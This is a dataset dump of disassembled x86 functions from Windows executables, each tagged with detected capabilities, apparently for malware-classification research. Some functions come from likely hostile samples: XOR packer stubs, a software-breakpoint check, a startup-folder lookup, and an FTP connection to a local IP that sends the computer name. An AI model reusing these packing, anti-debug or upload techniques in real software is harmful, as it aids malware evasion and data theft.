joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1010b3c0
Capabilities:
Check http status code

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x1c]
push edi
mov edi, dword [esp + 0x18]
push 0x11
push str.WWW_Authenticate:
push esi
call fcn.100d3570
add esp, 0xc
test eax, eax
je 0x1010b3ee
mov ebp, dword [edi + 0xe8]
cmp ebp, 0x191
je 0x1010b410
push 0x13
push str.Proxy_authenticate:
push esi
call fcn.100d3570
add esp, 0xc
test eax, eax
je 0x1010b456
mov ebp, dword [edi + 0xe8]
cmp ebp, 0x197
jne 0x1010b456
push esi
call fcn.100d9860
mov esi, eax
add esp, 4
test esi, esi
jne 0x1010b427
pop edi
lea eax, [esi + 0x1b]
pop esi
pop ebp
pop ebx
ret
cmp ebp, 0x197
push esi
sete al
movzx eax, al
push eax
push edi
call fcn.100db3c0
push esi
mov edi, eax
call dword [0x10162004]
add esp, 0x10
test edi, edi
je 0x1010b5f5
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
push 0xf
push str.Content_Length:
push esi
call fcn.100d3570
add esp, 0xc
test eax, eax
je 0x1010b4b2
mov ecx, dword [edi + 0xe8]
lea eax, [ecx - 0xc8]
cmp eax, 0x64
jae 0x1010b491
push ecx
push str.Ignoring_Content_Length_in_CONNECT__03d_response
push edi
call fcn.100cf9e0
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
mov eax, dword [esp + 0x1c]
add eax, 0x208
push eax
push 0xa
lea eax, [esi + 0xf]
push 0
push eax
call fcn.100e2890
add esp, 0x10
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
push 5
push str.close
push 0xb
push str.Connection:
push esi
call fcn.100d97b0
add esp, 0x14
test al, al
jne 0x1010b5ea
push 0x12
push str.Transfer_Encoding:
push esi
call fcn.100d3570
add esp, 0xc
test eax, eax
je 0x1010b551
mov ecx, dword [edi + 0xe8]
lea eax, [ecx - 0xc8]
cmp eax, 0x64
jae 0x1010b50c
push ecx
push str.Ignoring_Transfer_Encoding_in_CONNECT__03d_response
push edi
call fcn.100cf9e0
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
push 7
push str.chunked
push 0x12
push str.Transfer_Encoding:
push esi
call fcn.100d97b0
add esp, 0x14
test al, al
je 0x1010b5f5
push str.CONNECT_responded_chunked
push edi
call fcn.100cf9e0
mov eax, dword [esp + 0x24]
push edi
mov byte [eax + 0x214], 1
call fcn.10100830
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
push 5
push str.close
push 0x11
push str.Proxy_Connection:
push esi
call fcn.100d97b0
add esp, 0x14
test al, al
jne 0x1010b5ea
push 7
push str.HTTP_1.
push esi
call sub.api_ms_win_crt_string_l1_1_0.dll_strncmp
add esp, 0xc
test eax, eax
jne 0x1010b5f5
mov al, byte [esi + 7]
cmp al, 0x30
je 0x1010b58b
cmp al, 0x31
jne 0x1010b5f5
cmp byte [esi + 8], 0x20
jne 0x1010b5f5
mov cl, byte [esi + 9]
mov al, cl
sub al, 0x30
cmp al, 9
ja 0x1010b5f5
mov dl, byte [esi + 0xa]
mov al, dl
sub al, 0x30
cmp al, 9
ja 0x1010b5f5
mov dh, byte [esi + 0xb]
mov al, dh
sub al, 0x30
cmp al, 9
ja 0x1010b5f5
mov al, byte [esi + 0xc]
cmp al, 0x30
jl 0x1010b5bd
cmp al, 0x39
jle 0x1010b5f5
movsx eax, cl
lea ecx, [eax + eax*4]
movsx eax, dl
lea eax, [eax + ecx*2]
lea ecx, [eax + eax*4]
movsx eax, dh
lea eax, [eax + ecx*2]
add eax, 0xffffeb30
mov dword [edi + 0xe8], eax
mov dword [edi + 0xd84], eax
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
mov eax, dword [esp + 0x1c]
mov byte [eax + 0x215], 1
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
Function at 0x1010ccf0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
sub esp, 0xc
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x14]
lea eax, [eax + ecx*2]
add eax, 0xc
push eax
call dword [section..data]
mov esi, eax
add esp, 4
test esi, esi
jne 0x1010cd1b
pop esi
pop ebp
add esp, 0xc
ret
lea ecx, [esi + 0xc]
mov dword [esi], ebp
mov dword [esi + 4], ecx
mov eax, dword [ebp + 0xc]
add eax, ecx
push ebx
mov ebx, dword [esp + 0x24]
mov dword [esi + 8], eax
push edi
lea edi, [ebp + 4]
cmp ebx, dword [ebp + 0x10]
jbe 0x1010cd6a
mov eax, dword [ebp]
push ecx
call eax
mov eax, dword [edi]
push ebx
push dword [esp + 0x2c]
push dword [esi + 4]
call eax
mov eax, dword [esi + 8]
add eax, dword [ebp + 0xc]
push dword [esi + 4]
mov dword [esp + 0x28], eax
push eax
mov eax, dword [ebp + 8]
call eax
mov ebx, dword [ebp + 0x14]
add esp, 0x18
mov dword [esp + 0x28], ebx
jmp 0x1010cd72
mov eax, dword [esp + 0x24]
mov dword [esp + 0x14], eax
push dword [esi + 4]
mov eax, dword [ebp]
call eax
push dword [esi + 8]
mov eax, dword [ebp]
call eax
mov eax, dword [esp + 0x30]
add esp, 8
xor ebx, ebx
test eax, eax
je 0x1010cde3
mov ebp, dword [esp + 0x14]
mov ebx, eax
mov dword [esp + 0x18], eax
nop dword [eax]
movzx eax, byte [ebp]
xor al, 0x36
mov byte [esp + 0x13], al
lea eax, [esp + 0x13]
push 1
push eax
push dword [esi + 4]
mov eax, dword [edi]
call eax
movzx eax, byte [ebp]
lea ebp, [ebp + 1]
xor al, 0x5c
mov byte [esp + 0x1f], al
lea eax, [esp + 0x1f]
push 1
push eax
push dword [esi + 8]
mov eax, dword [edi]
call eax
add esp, 0x18
sub ebx, 1
jne 0x1010cda0
mov ebx, dword [esp + 0x18]
mov ebp, dword [esp + 0x20]
cmp ebx, dword [ebp + 0x10]
jae 0x1010ce15
nop dword [eax + eax]
mov eax, dword [edi]
push 1
push 0x10122159
push dword [esi + 4]
call eax
mov eax, dword [edi]
push 1
push 0x1012215a
push dword [esi + 8]
call eax
inc ebx
add esp, 0x18
cmp ebx, dword [ebp + 0x10]
jb 0x1010cdf0
pop edi
pop ebx
mov eax, esi
pop esi
pop ebp
add esp, 0xc
ret
Function at 0x1010ce20
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [esp + 0x18]
push esi
push dword [esp + 0x24]
call fcn.100d14a0
mov edx, dword [ebp + 0xc]
mov ebx, eax
mov ecx, dword [ebp + 0x14]
mov dword [esp + 0x14], ebx
lea ecx, [ecx + edx*2]
add ecx, 0xc
push ecx
call dword [section..data]
mov esi, eax
add esp, 8
test esi, esi
je 0x1010cfa2
lea ecx, [esi + 0xc]
mov dword [esi], ebp
mov dword [esi + 4], ecx
mov eax, dword [ebp + 0xc]
add eax, ecx
mov dword [esi + 8], eax
push edi
lea edi, [ebp + 4]
cmp ebx, dword [ebp + 0x10]
jbe 0x1010cea2
mov eax, dword [ebp]
push ecx
call eax
mov eax, dword [esp + 0x28]
push ebx
push eax
push dword [esi + 4]
mov eax, dword [edi]
call eax
mov eax, dword [esi + 8]
add eax, dword [ebp + 0xc]
push dword [esi + 4]
mov dword [esp + 0x38], eax
push eax
mov eax, dword [ebp + 8]
call eax
mov eax, dword [ebp + 0x14]
add esp, 0x18
mov dword [esp + 0x14], eax
push dword [esi + 4]
mov eax, dword [ebp]
call eax
push dword [esi + 8]
mov eax, dword [ebp]
call eax
mov eax, dword [esp + 0x1c]
add esp, 8
xor ebx, ebx
test eax, eax
je 0x1010cf13
mov ebp, dword [esp + 0x24]
mov ebx, eax
mov dword [esp + 0x18], eax
nop dword [eax]
movzx eax, byte [ebp]
xor al, 0x36
mov byte [esp + 0x13], al
lea eax, [esp + 0x13]
push 1
push eax
push dword [esi + 4]
mov eax, dword [edi]
call eax
movzx eax, byte [ebp]
lea ebp, [ebp + 1]
xor al, 0x5c
mov byte [esp + 0x1f], al
lea eax, [esp + 0x1f]
push 1
push eax
push dword [esi + 8]
mov eax, dword [edi]
call eax
add esp, 0x18
sub ebx, 1
jne 0x1010ced0
mov ebx, dword [esp + 0x18]
mov ebp, dword [esp + 0x20]
cmp ebx, dword [ebp + 0x10]
jae 0x1010cf45
nop dword [eax + eax]
mov eax, dword [edi]
push 1
push 0x10122159
push dword [esi + 4]
call eax
mov eax, dword [edi]
push 1
push 0x1012215a
push dword [esi + 8]
call eax
inc ebx
add esp, 0x18
cmp ebx, dword [ebp + 0x10]
jb 0x1010cf20
push dword [esp + 0x30]
call fcn.100d14a0
mov ecx, dword [esi]
push eax
push dword [esp + 0x34]
push dword [esi + 4]
mov eax, dword [ecx + 4]
call eax
mov edi, dword [esp + 0x44]
add esp, 0x10
mov ebx, dword [esi]
test edi, edi
jne 0x1010cf70
mov edi, dword [ebx + 0xc]
add edi, dword [esi + 8]
push dword [esi + 4]
mov eax, dword [ebx + 8]
push edi
call eax
push dword [ebx + 0x14]
mov eax, dword [ebx + 4]
push edi
push dword [esi + 8]
call eax
push dword [esi + 8]
mov eax, dword [ebx + 8]
push edi
call eax
push esi
call dword [0x10162004]
add esp, 0x20
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
pop esi
pop ebp
mov eax, 0x1b
pop ebx
add esp, 0xc
ret
Function at 0x1010dd40
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov edi, dword [esp + 0x10]
xor esi, esi
test edi, edi
je 0x1010dd8c
push ebx
mov ebx, dword [esp + 0x10]
mov cl, byte [esi + ebx]
mov dl, cl
mov al, cl
shr dl, 1
and al, 0xfe
not dl
movzx eax, al
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
or cl, 1
test dl, 2
movzx ecx, cl
cmove ecx, eax
mov byte [esi + ebx], cl
inc esi
cmp esi, edi
jb 0x1010dd51
pop ebx
pop edi
pop esi
ret
Function at 0x41ecdc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42a520]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00415fe2
and dword [ebp - 0x14], 0
cmp dword [0x46b270], 0
mov dword [ebp - 0x18], eax
jne 0x41ed8f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41ee37
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41ee37
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x46b270], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x46b274], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x46b278], eax
call edi
push eax
call esi
mov dword [0x46b280], eax
test eax, eax
je 0x41ed8f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x46b27c], eax
mov eax, dword [0x46b27c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41ede8
cmp dword [0x46b280], ecx
je 0x41ede8
push eax
call esi
push dword [0x46b280]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41ede8
test ebx, ebx
je 0x41ede8
call edi
test eax, eax
je 0x41eddf
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41eddf
test byte [ebp - 8], 1
jne 0x41ede8
or dword [ebp + 0x10], 0x200000
jmp 0x41ee1b
mov eax, dword [0x46b274]
cmp eax, dword [ebp - 0x18]
je 0x41ee1b
push eax
call esi
test eax, eax
je 0x41ee1b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41ee1b
mov eax, dword [0x46b278]
cmp eax, dword [ebp - 0x18]
je 0x41ee1b
push eax
call esi
test eax, eax
je 0x41ee1b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x46b270]
call esi
test eax, eax
je 0x41ee37
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41ee39
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00410717
leave
ret

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43300c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x432072
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x34a01a57
nop
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x432060
nop
nop
nop
mov eax, section..text_1
nop
cmp eax, 0
nop
nop
je 0x4320d2
nop
nop
nop
nop
mov ebx, 0x42f314
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x1d9739b
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4320c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x402470
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x407018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
push 0x1a
push 0
mov esi, ecx
mov dword [ebp - 0x210], 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], 0
test eax, eax
jne 0x4024f9
mov word [esi], ax
cmp word [ebp - 0x20c], ax
jne 0x4024cf
xor ecx, ecx
push ecx
lea eax, [ebp - 0x20c]
push eax
jmp 0x402504
lea ecx, [ebp - 0x20c]
lea edx, [ecx + 2]
jmp 0x4024e0
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4024e0
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x20c]
push eax
jmp 0x402504
xor eax, eax
push eax
mov word [esi], ax
push 0x4052e0
mov ecx, esi
call fcn.00402a60
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00403bc6
mov esp, ebp
pop ebp
ret
Function at 0x4025f0
Capabilities:
Connect to http server
Create http request
Get hostname

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x234
mov eax, dword [0x407018]
xor eax, esp
mov dword [esp + 0x230], eax
push ebx
push esi
push edi
call dword [sym.imp.USER32.dll_SetProcessDPIAware]
push 0x40706c
push 0x4075a8
mov dword [esp + 0x1c], 0x104
call dword [sym.imp.KERNEL32.DLL_GetComputerNameW]
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x34]
push eax
push dword [0x4075f8]
call dword [sym.imp.WININET.dll_FtpGetCurrentDirectoryW]
test eax, eax
jne 0x4026dc
cmp byte [0x4075c8], al
jne 0x4026dc
mov edi, dword [sym.imp.WININET.dll_InternetOpenW]
mov esi, dword [sym.imp.WININET.dll_FtpSetCurrentDirectoryW]
mov ebx, dword [sym.imp.WININET.dll_FtpCreateDirectoryW]
push 0
push 0
push 0
push 1
push 0
call edi
mov dword [0x4075cc], eax
test eax, eax
jne 0x402680
xor al, al
jmp 0x4026d3
push 0
push 0
push 1
push 0x405284
push str.user123
push 0x15
push str.192.168.2.163
push eax
call dword [sym.imp.WININET.dll_InternetConnectW]
mov dword [0x4075f8], eax
test eax, eax
jne 0x4026ab
xor al, al
jmp 0x4026d3
push 0x4075a8
push eax
call esi
test eax, eax
jne 0x4026d1
push 0x4075a8
push dword [0x4075f8]
call ebx
push 0x4075a8
push dword [0x4075f8]
call esi
mov al, 1
mov byte [0x4075c8], al
test al, al
je 0x402667
lea ecx, [esp + 0x18]
call dword [sym.imp.MSVCP110.dll_public:_void___thiscall_std::_Pad::constructor_void_]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x1c]
mov dword [esp + 0x1c], vtable.std::_LaunchPad_class_std::_Bind_1__void__void____cdecl__const__void___struct_std::_Nil__struct_std::_Nil__struct_std::_Nil__struct_std::_Nil__struct_std::_Nil__struct_std::_Nil__struct_std::_Nil__.0
mov dword [esp + 0x2c], 0x402520
call dword [sym.imp.MSVCP110.dll_public:_void___thiscall_std::_Pad::_Launch_struct__Thrd_imp_t__]
lea ecx, [esp + 0x18]
call dword [sym.imp.MSVCP110.dll_public:_void___thiscall_std::_Pad::destructor_void_]
cmp dword [esp + 0x10], 0
mov esi, dword [sym.imp.MSVCP110.dll_void___cdecl_std::_Throw_Cpp_error_int_]
jne 0x402731
push 1
call esi
add esp, 4
cmp dword [esp + 0x10], 0
jne 0x402731
push 1
call esi
add esp, 4
call dword [sym.imp.MSVCP110.dll__Thrd_current]
push edx
push eax
push dword [esp + 0x18]
push dword [esp + 0x18]
call dword [sym.imp.MSVCP110.dll__Thrd_equal]
add esp, 0x10
test eax, eax
je 0x402755
push 5
call esi
add esp, 4
push 0
push dword [esp + 0x14]
push dword [esp + 0x14]
call dword [sym.imp.MSVCP110.dll__Thrd_join]
add esp, 0xc
test eax, eax
je 0x402773
push 2
call esi
add esp, 4
mov ecx, dword [esp + 0x23c]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00403bc6
mov esp, ebp
pop ebp
ret 0x10
Function at 0x40ed00
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov dword [0x5df470], eax
xor eax, eax
nop
add eax, 1
mov ecx, dword [eax*4 + 0x5df46c]
mov edx, ecx
shr edx, 0x1e
xor edx, ecx
imul edx, edx, 0x6c078965
add edx, eax
mov dword [eax*4 + 0x5df470], edx
cmp eax, 0x26f
jl 0x40ed08
mov dword [0x563fb0], 0x270
ret

Function at 0x40ed40
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov eax, 0xffffffff
mov esi, esi
add eax, 1
mov ecx, dword [eax*4 + 0x5df474]
mov ebx, dword [eax*4 + 0x5df470]
mov edx, ecx
and edx, 1
neg edx
and edx, 0x9908b0df
and ebx, 0x80000000
and ecx, 0x7fffffff
or ebx, ecx
shr ebx, 1
xor edx, ebx
xor edx, dword [eax*4 + 0x5dfaa4]
mov dword [eax*4 + 0x5df470], edx
cmp eax, 0xe2
jl 0x40ed48
mov eax, 0xe2
lea esi, [esi]
add eax, 1
mov ecx, dword [eax*4 + 0x5df474]
mov ebx, dword [eax*4 + 0x5df470]
mov edx, ecx
and edx, 1
neg edx
and edx, 0x9908b0df
and ebx, 0x80000000
and ecx, 0x7fffffff
or ebx, ecx
shr ebx, 1
xor edx, ebx
xor edx, dword [eax*4 + 0x5df0e4]
mov dword [eax*4 + 0x5df470], edx
cmp eax, 0x26e
jl 0x40ed98
mov edx, dword [0x5df470]
mov ecx, dword [0x5dfe2c]
mov eax, edx
and eax, 1
neg eax
and eax, 0x9908b0df
and ecx, 0x80000000
and edx, 0x7fffffff
or ecx, edx
shr ecx, 1
xor eax, ecx
xor eax, dword [0x5dfaa0]
mov dword [0x5dfe2c], eax
mov dword [0x563fb0], 0
pop ebx
ret

Function at 0x40ee20
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov ebx, dword [0x563fb0]
add dword [0x563fb0], 1
mov eax, dword [0x5de020]
cmp eax, dword [0x563700]
jne 0x40ee43
cmp ebx, 0x271
jb 0x40ee64
mov eax, dword [0x5de020]
call fcn.0040ed00
not dword [0x5de020]
mov eax, dword [0x5de020]
mov dword [0x563700], eax
mov ebx, 0x270
mov esi, esi
cmp ebx, 0x270
jne 0x40ee80
call fcn.0040ed40
xor ebx, ebx
mov dword [0x563fb0], 1
lea esi, [esi]
mov edx, dword [ebx*4 + 0x5df470]
mov eax, edx
shr eax, 0xb
xor eax, edx
mov edx, eax
shl edx, 7
and edx, 0x9d2c5680
xor edx, eax
mov ecx, edx
shl ecx, 0xf
and ecx, 0xefc60000
xor ecx, edx
mov eax, ecx
shr eax, 0x12
xor eax, ecx
pop ebx
ret
Function at 0x4109d0
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
push esi
push edi
mov ax, word [0x563450]
cmp ax, 0xcb
je 0x410adc
cmp ax, 0xcc
je 0x410adc
lea esi, [esi]
mov edx, dword [0x5e0070]
test edx, edx
je 0x410a05
mov eax, dword [0x5dff20]
call edx
mov ebx, eax
jmp 0x410a0a
mov ebx, 0x5dff24
cmp word [0x5dff10], 0
jle 0x410a30
mov eax, 0x5dfef0
call fcn.00410c40
mov eax, ebx
call fcn.00410590
mov eax, ebx
call fcn.00410600
lea esi, [esi]
mov edi, dword [ebx]
jmp 0x410a52
mov esi, dword [edi + 4]
mov eax, dword [edi]
and eax, 1
jne 0x410a4d
mov edx, edi
mov eax, ebx
call fcn.0040fa00
jmp 0x410a50
and dword [edi], 0xfffffffe
mov edi, esi
test edi, edi
jne 0x410a38
mov dword [ebx], 0
mov dword [ebx + 0x88], 0
cmp word [0x5dff10], 0
jle 0x410adc
mov edx, 0x5dfe30
mov eax, ebx
call fcn.0040fb40
mov edi, eax
test edi, edi
je 0x410aac
mov eax, dword [0x5dfec4]
mov dword [edi + 0xc], eax
cmp dword [0x5dfec4], 0
je 0x410aa0
mov eax, dword [0x5dfec4]
mov dword [eax + 8], edi
mov eax, dword [ebx + 0x94]
mov dword [0x5dfec4], eax
nop
sub word [0x5dff10], 1
cmp word [0x5dff10], 0
sete bl
mov eax, 0x5dfef0
call fcn.00410c60
test bl, bl
je 0x410adc
mov eax, 0x5dfef0
call fcn.00410c30
lea esi, [esi]
pop edi
pop esi
pop ebx
ret
Function at 0x413310
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x20]
push ebx
push esi
push edi
mov byte [ebp - 0x20], al
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
xor eax, eax
push fcn.004132f0
push ebp
push 0x414710
push dword fs:[eax]
mov dword fs:[eax], esp
test byte [ebp - 0x20], 0xff
je 0x41343a
movzx eax, byte [ebp - 0x20]
sub eax, 0xffffffc0
mov word [ebp - 8], ax
mov word [ebp - 6], 0x3a
mov word [ebp - 4], 0
mov word [ebp - 2], 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0
lea eax, [ebp - 8]
push eax
call sub.kernel32.dll_GetFullPathNameW
mov esi, eax
lea edx, [esi - 1]
mov eax, dword [ebp - 0x1c]
call fcn.0040b5d0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x1c]
mov edx, dword [eax]
test edx, edx
jne 0x41339f
mov edx, 0x5df2f0
push edx
push esi
lea eax, [ebp - 8]
push eax
call sub.kernel32.dll_GetFullPathNameW
mov ebx, eax
test ebx, ebx
jne 0x4133f1
call sub.kernel32.dll_GetLastError
call fcn.00404000
lea eax, [ebp - 0x10]
call fcn.0040a1b0
movzx eax, byte [ebp - 0x20]
sub eax, 0xffffffc0
lea edx, [ebp - 0x14]
call fcn.0040a650
mov edx, dword [ebp - 0x14]
mov ecx, 0x57f368
lea eax, [ebp - 0x10]
call fcn.0040a4e0
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
call fcn.0040aea0
jmp 0x413488
mov eax, esi
mov edx, 0
sub eax, 1
sbb edx, 0
mov ecx, ebx
xor edi, edi
cmp edx, edi
jne 0x41340a
cmp eax, ecx
je 0x413414
mov eax, dword [ebp - 0x1c]
mov edx, ebx
call fcn.0040b5d0
cmp byte [0x5636d0], 0
jne 0x413488
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
lea edx, [ebp - 0x18]
call fcn.0040bb70
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
call fcn.0040af30
lea esi, [esi]
jmp 0x413488
push 0
push 0
call sub.kernel32.dll_GetCurrentDirectoryW
mov esi, eax
lea edx, [esi - 1]
mov eax, dword [ebp - 0x1c]
call fcn.0040b5d0
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
test eax, eax
jne 0x41345e
mov eax, 0x5df2f0
push eax
push esi
call sub.kernel32.dll_GetCurrentDirectoryW
cmp byte [0x5636d0], 0
jne 0x413488
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
lea edx, [ebp - 0x18]
call fcn.0040bb70
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
call fcn.0040af30
mov esi, esi
xor edx, edx
pop eax
add esp, 0xc
mov dword fs:[edx], eax
mov eax, ebp
call fcn.004132f0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret